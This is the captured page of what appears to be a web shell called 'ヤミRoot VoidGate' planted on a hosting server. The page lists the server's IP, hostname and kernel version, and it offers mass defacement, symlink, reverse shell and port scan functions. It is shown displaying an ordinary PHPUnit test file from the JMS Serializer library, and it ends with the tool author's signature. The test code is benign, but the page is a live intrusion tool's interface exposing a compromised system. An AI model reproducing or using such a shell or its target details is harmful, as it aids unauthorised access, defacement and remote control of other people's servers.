ヤミRoot VoidGate
User / IP
:
216.73.216.211
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
jms
/
serializer
/
tests
/
Handler
/
Viewing: ArrayCollectionHandlerTest.php
<?php namespace JMS\Serializer\Tests\Handler; use Doctrine\Common\Collections\ArrayCollection; use JMS\Serializer\Handler\ArrayCollectionHandler; use JMS\Serializer\Metadata\ClassMetadata; use JMS\Serializer\SerializationContext; use JMS\Serializer\Tests\Fixtures\ExclusionStrategy\AlwaysExcludeExclusionStrategy; use JMS\Serializer\VisitorInterface; use Metadata\MetadataFactoryInterface; class ArrayCollectionHandlerTest extends \PHPUnit_Framework_TestCase { public function testSerializeArray() { $handler = new ArrayCollectionHandler(); $visitor = $this->getMockBuilder(VisitorInterface::class)->getMock(); $visitor->method('visitArray')->with(['foo'])->willReturn(['foo']); $context = $this->getMockBuilder(SerializationContext::class)->getMock(); $type = ['name' => 'ArrayCollection', 'params' => []]; $collection = new ArrayCollection(['foo']); $handler->serializeCollection($visitor, $collection, $type, $context); } public function testSerializeArraySkipByExclusionStrategy() { $handler = new ArrayCollectionHandler(false); $visitor = $this->getMockBuilder(VisitorInterface::class)->getMock(); $visitor->method('visitArray')->with([])->willReturn([]); $context = $this->getMockBuilder(SerializationContext::class)->getMock(); $factoryMock = $this->getMockBuilder(MetadataFactoryInterface::class)->getMock(); $factoryMock->method('getMetadataForClass')->willReturn(new ClassMetadata(ArrayCollection::class)); $context->method('getExclusionStrategy')->willReturn(new AlwaysExcludeExclusionStrategy()); $context->method('getMetadataFactory')->willReturn($factoryMock); $type = ['name' => 'ArrayCollection', 'params' => []]; $collection = new ArrayCollection(['foo']); $handler->serializeCollection($visitor, $collection, $type, $context); } }
Coded With 💗 by
0x6ick